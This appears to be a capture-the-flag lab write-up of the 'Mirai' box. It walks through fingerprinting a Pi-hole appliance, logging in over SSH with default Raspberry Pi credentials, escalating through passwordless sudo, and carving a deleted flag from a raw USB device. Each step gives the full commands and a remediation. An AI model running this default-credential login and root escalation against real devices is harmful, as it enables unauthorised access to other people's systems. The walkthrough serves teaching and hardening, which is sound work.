← all walkthroughs

Mirai

Linux· Easy· Privilege Escalation
owned
2026-07-07
time to own
4m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target mirai ($TARGET) — a Raspberry Pi running Pi-hole DNS filtering software — was fully compromised in minutes without exploiting any software vulnerability. An HTTP response header fingerprinted the device as a Pi-hole appliance, and an unauthenticated version endpoint confirmed the exact software build, identifying the underlying platform as a Raspberry Pi running Raspbian. I tried the publicly documented factory-default SSH credentials (pi:raspberry) and was granted an interactive shell immediately.

The built-in pi account carried an unrestricted, passwordless sudo grant, so root access required a single command. The root flag had been removed from its standard location and stored on an attached USB stick whose filesystem was deleted; my read it directly from raw block-device sectors using standard Linux tools, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1EnumerationNetwork port and service enumeration (T1046)
Mapped all exposed services with a port and version scan
An nmap scan of $TARGET revealed six open TCP ports: 22 (SSH/OpenSSH 6.7p1 Debian), 53 (DNS/dnsmasq 2.76), 80 (HTTP/lighttpd 1.4.35), 1029 and 32469 (UPnP/Platinum 1.0.5.13), and 32400 (Plex Media Server). The combination of a lightweight HTTP server, a DNS daemon, and a UPnP stack on an older Debian-based host strongly suggested an IoT appliance — consistent with a Raspberry Pi media or network-management device.
Exact commands 1
Version-scan all discovered open ports to identify services and banners.
nmap -Pn -sV -p 22,53,80,1029,32400,32469 $TARGET
2EnumerationService banner and unauthenticated version disclosure (T1592.002)
Identified the device as a Raspberry Pi running Pi-hole and retrieved the exact software version without authentication
An HTTP request to port 80 returned a 404 response carrying the header 'X-Pi-hole: A black hole for Internet advertisements' and 'Server: lighttpd/1.4.35', positively identifying the host as a Pi-hole DNS appliance. The unauthenticated /versions endpoint then returned the precise build: Pi-hole v3.1.4, Web/AdminLTE v3.1, FTL v2.10. Knowing the platform was Pi-hole, I concluded the underlying hardware was a Raspberry Pi running Raspbian — whose factory-default OS account and password are universally known.
HTTP/1.1 404 Not Found; X-Pi-hole: A black hole for Internet advertisements; Server: lighttpd/1.4.35. /versions body: ',v3.1.4,v3.1,v2.10'
Exact commands 2
Reveals the X-Pi-hole and Server response headers that fingerprint the appliance type.
curl -s -i http://$TARGET/
Unauthenticated endpoint returns exact Pi-hole, AdminLTE, and FTL version strings.
curl -s http://$TARGET/versions
FixRemove the unauthenticated Pi-hole version-disclosure endpoint and restrict web interface accessMedium
WeaknessThe /versions HTTP endpoint returned the exact version strings for Pi-hole, AdminLTE, and FTL without any authentication. This let an unauthorised user confirm the device type and precise software build in one request, directly informing the decision to try default Raspberry Pi credentials rather than spending time on other attack paths.
FixUpdate Pi-hole to a current supported release — the 3.x branch used here has been end-of-life for several years and receives no security patches. Configure lighttpd to require authentication on all /admin and diagnostic paths. Restrict port 80 at the host firewall (ufw or iptables) so the Pi-hole web interface is reachable only from trusted LAN segments, not from external or untrusted networks.
3Initial AccessValid accounts — default credentials (T1078.001)
Logged in over SSH using the Raspberry Pi factory-default credentials
Raspbian ships every Raspberry Pi with a built-in 'pi' OS account and the password 'raspberry'. These credentials are documented in every official getting-started guide and are the first guess I maked against a Raspberry Pi. The credentials had never been changed on this device. A single login attempt granted an interactive SSH shell as pi (uid=1000), establishing a persistent foothold without exploiting any software vulnerability.
Nxc ssh $TARGET -u pi -p raspberry → SSH $TARGET 22 [+] pi:raspberry (Pwn3d!) Linux - Shell access!
Exact commands 2
Validates the default Raspbian credential pair; 'Pwn3d!' confirms interactive shell access.
nxc ssh $TARGET -u pi -p raspberry
Opens an interactive SSH session as pi using the default password.
sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET
FixReplace the Raspberry Pi factory-default SSH credentials immediatelyCritical
WeaknessThe built-in 'pi' OS account retained its Raspbian factory password 'raspberry', which is printed in every official Raspberry Pi getting-started guide and is the first credential pair tried by an unauthorised user script targeting IoT devices. Any host that can reach port 22 can log in as a sudoer with no further effort.
FixChange the pi account password to a long, unique passphrase (passwd pi), or delete the account entirely and create a named administrator account. Disable SSH password authentication in /etc/ssh/sshd_config (set PasswordAuthentication no and PubkeyAuthentication yes) and use SSH key pairs exclusively. If remote SSH access is not required from untrusted networks, restrict it to a management VLAN or require a VPN connection first.
4DiscoveryFile and directory discovery (T1083)
Located the user flag on the Desktop rather than its expected path
The user flag was absent from /home/pi/user.txt, the conventional path. A filesystem search located it at /home/pi/Desktop/user.txt. The flag was read directly, confirming the pi account as the intended foothold user and completing the first ownership milestone.
Find / -name user.txt -type f 2>/dev/null returned /home/pi/Desktop/user.txt; cat produced the flag.
Exact commands 2
Locates user.txt anywhere on the filesystem regardless of the non-standard path.
sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'find / -name user.txt -type f 2>/dev/null'
Reads the user flag — captured value is <user.txt>.
sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'cat /home/pi/Desktop/user.txt'
5Privilege EscalationSudo abuse — NOPASSWD: ALL privilege escalation (T1548.003)
Escalated to root instantly using unrestricted passwordless sudo
The pi account's sudoers configuration granted NOPASSWD: ALL — every command could be executed as root without entering a password. Running 'sudo -n id' returned uid=0(root) immediately, giving full operating-system control with no additional exploitation, no password prompt, and no restriction on which commands could be run.
Sudo -n id → uid=0(root) gid=0(root) groups=0(root)
Exact commands 2
Confirms passwordless root; -n is non-interactive and fails immediately if a password is required.
sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'sudo -n id'
Opens an interactive root shell — no password required.
sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'sudo -n bash -i'
FixRemove unrestricted passwordless sudo from the pi accountCritical
WeaknessThe pi account's sudoers entry granted NOPASSWD: ALL — every command could be run as root with no password. Once an unauthorised user obtained a shell as pi (via the default SSH password), root access was a single command away with no additional barrier. This configuration makes any initial foothold on the pi account an immediate full system compromise.
FixRemove the pi account from the sudo group (deluser pi sudo) and delete any NOPASSWD entries from /etc/sudoers and all files under /etc/sudoers.d/. If administrative access is genuinely required, restrict sudo to the specific commands needed (e.g., NOPASSWD: /usr/bin/pihole) and require a password for everything else. No interactive user account on a production appliance should hold unrestricted root access.
6CollectionData from local system — raw block device access (T1005)
Extracted the root flag directly from raw USB disk sectors after it was removed from the filesystem
The file /root/root.txt contained only a decoy message stating the real flag had been moved to a USB stick. 'lsblk' showed /dev/sdb attached but with no live partition or mounted filesystem. Mounting was not necessary: 'sudo strings /dev/sdb' read all printable character sequences from raw disk sectors, and grepping for a 32-character lowercase hex pattern returned the deleted flag whose content still resided in unallocated sectors — completing full root ownership.
Lsblk revealed /dev/sdb; sudo strings /dev/sdb | grep -E '^[a-f0-9]{32}$' returned the root flag <root.txt>.
Exact commands 2
Enumerates block devices; reveals /dev/sdb as an attached USB device with no mounted filesystem.
sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'sudo -n lsblk'
Extracts the root flag (<root.txt>) from raw disk content — works even when the filesystem is unmounted or the partition deleted.
sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'sudo -n strings /dev/sdb | grep -E "^[a-f0-9]{32}$"'

Exposed services

22/tcp
53/tcp
80/tcp
1029/tcp
32400/tcp
32469/tcp